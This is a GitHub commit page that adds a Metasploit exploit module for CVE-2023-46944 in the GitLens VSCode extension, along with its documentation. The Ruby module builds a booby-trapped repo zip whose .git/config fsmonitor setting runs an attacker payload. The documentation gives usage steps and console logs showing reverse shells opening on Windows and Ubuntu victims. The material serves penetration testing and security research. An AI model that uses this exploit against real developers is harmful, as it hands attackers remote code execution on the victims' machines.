-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18997, Add GitLens VSCode Extension Exploit
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git commands. A repo may include its own .git folder including a malicious config file to execute arbitrary code.
- Loading branch information
Showing
2 changed files
with
205 additions
and
0 deletions.
There are no files selected for viewing
95 changes: 95 additions & 0 deletions
95
documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,95 @@ | ||
## Vulnerable Application | ||
|
||
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git | ||
commands. A repo may include its own .git folder including a malicious config file to | ||
execute arbitrary code. | ||
|
||
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 | ||
|
||
### Install | ||
|
||
Download the extension [gitlens-13.6.0.vsix](https://github.com/gitkraken/vscode-gitlens/releases/download/v13.6.0/gitlens-13.6.0.vsix) | ||
|
||
1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, Auto Update Extensions -> None. | ||
1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, install from vsix. | ||
|
||
## Verification Steps | ||
|
||
1. Install the extension | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/fileformat/gitlens_local_config_exec` | ||
1. Do: `run` | ||
1. Unzip the repo | ||
1. Open the folder in Visual Studio Code | ||
1. When prompted, select "No, I don't trust the authors" | ||
1. Open the `README.md` file and put the cursor on the first line. | ||
1. You should get a shell. | ||
|
||
## Options | ||
|
||
### README | ||
|
||
The content of the `README.md` file. Defaults to `# Test` | ||
|
||
## Scenarios | ||
|
||
### VSCode 1.87.2 on Windows 10 Pro (22H2) with GitLens 13.6.0 | ||
|
||
``` | ||
[*] Processing gitlens.rb for ERB directives. | ||
resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec | ||
[*] Using configured payload cmd/unix/reverse_bash | ||
resource (gitlens.rb)> set target 1 | ||
target => 1 | ||
resource (gitlens.rb)> set lhost 192.168.10.147 | ||
lhost => 192.168.10.147 | ||
msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit | ||
[*] Started reverse TCP handler on 192.168.10.147:4444 | ||
[+] repo.zip stored at /root/.msf4/local/repo.zip | ||
[*] Waiting for shell | ||
``` | ||
|
||
Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. | ||
|
||
``` | ||
[*] Sending stage (336 bytes) to 192.168.10.100 | ||
[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.100:62807) at 2024-03-19 17:46:46 +0000 | ||
Shell Banner: | ||
Microsoft Windows [Version 10.0.19045.4170] | ||
----- | ||
C:\Users\h00die\Desktop\repo>whoami | ||
whoami | ||
h00die | ||
C:\Users\h00die\Desktop\repo> | ||
``` | ||
### VSCode 1.87.2 on Windows 10 Pro (1809), utilizing remote connection to Ubuntu 22.04 with GitLens 13.6.0 installed | ||
|
||
``` | ||
$ ./msfconsole -qr gitlens.rb | ||
[*] Processing gitlens.rb for ERB directives. | ||
resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec | ||
[*] Using configured payload cmd/unix/reverse_bash | ||
resource (gitlens.rb)> set lhost 192.168.10.147 | ||
lhost => 192.168.10.147 | ||
msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit | ||
[*] Started reverse TCP handler on 192.168.10.147:4444 | ||
[+] repo.zip stored at /root/.msf4/local/repo.zip | ||
[*] Waiting for shell | ||
``` | ||
|
||
Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. | ||
|
||
``` | ||
[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.147:53600) at 2024-03-19 18:26:04 +0000 | ||
[*] Command shell session 2 opened (192.168.10.147:4444 -> 192.168.10.147:53612) at 2024-03-19 18:26:06 +0000 | ||
id | ||
uid=1000(notroot) gid=1000(notroot) groups=1000(notroot),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker) | ||
``` |
110 changes: 110 additions & 0 deletions
110
modules/exploits/multi/fileformat/gitlens_local_config_exec.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,110 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::FILEFORMAT | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'GitLens Git Local Configuration Exec', | ||
'Description' => %q{ | ||
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git | ||
commands. A repo may include its own .git folder including a malicious config file to | ||
execute arbitrary code. | ||
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # Metasploit module | ||
'Paul Gerste', # Original advisory and PoC | ||
], | ||
'References' => [ | ||
['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'], | ||
['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook | ||
['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch | ||
['CVE', '2023-46944'] | ||
], | ||
'DefaultOptions' => { | ||
'EXITFUNC' => 'thread', | ||
'DisablePayloadHandler' => false, | ||
'FILENAME' => 'repo.zip', | ||
'WfsDelay' => 3_600 # 1hr | ||
}, | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [ | ||
[ | ||
'Linux/Unix (In-Memory)', | ||
{ | ||
'Platform' => [ 'unix', 'linux' ], | ||
'Type' => :unix_cmd | ||
}, | ||
], | ||
# There may be a size limit, but using fetch payloads works great | ||
[ | ||
'PowerShell (In-Memory)', | ||
{ | ||
'Platform' => 'win', | ||
'Payload' => { | ||
'BadChars' => '"&' | ||
} | ||
} | ||
], | ||
], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away | ||
}, | ||
'Privileged' => false, | ||
'DisclosureDate' => '2023-11-14' | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('README', [true, 'The contents of the readme markdown file', '# Test']) | ||
]) | ||
end | ||
|
||
def readme | ||
datastore['README'].to_s | ||
end | ||
|
||
def git_head | ||
'ref: refs/heads/master' | ||
end | ||
|
||
def git_config | ||
%([core] | ||
repositoryformatversion = 0 | ||
filemode = true | ||
bare = false | ||
logallrefupdates = true | ||
fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload | ||
end | ||
|
||
def exploit | ||
# Create malicious zip archive containing our git repo | ||
files = | ||
[ | ||
{ data: readme, fname: 'README.md' }, | ||
{ data: git_config, fname: '.git/config' }, | ||
{ data: git_head, fname: '.git/HEAD' }, | ||
{ data: '', fname: '.git/objects/info/' }, | ||
{ data: '', fname: '.git/objects/pack/' }, | ||
{ data: '', fname: '.git/refs/heads/' }, | ||
{ data: '', fname: '.git/refs/tags/' }, | ||
] | ||
|
||
zip = Msf::Util::EXE.to_zip(files) | ||
|
||
file_create(zip) | ||
print_status('Waiting for shell') | ||
end | ||
end |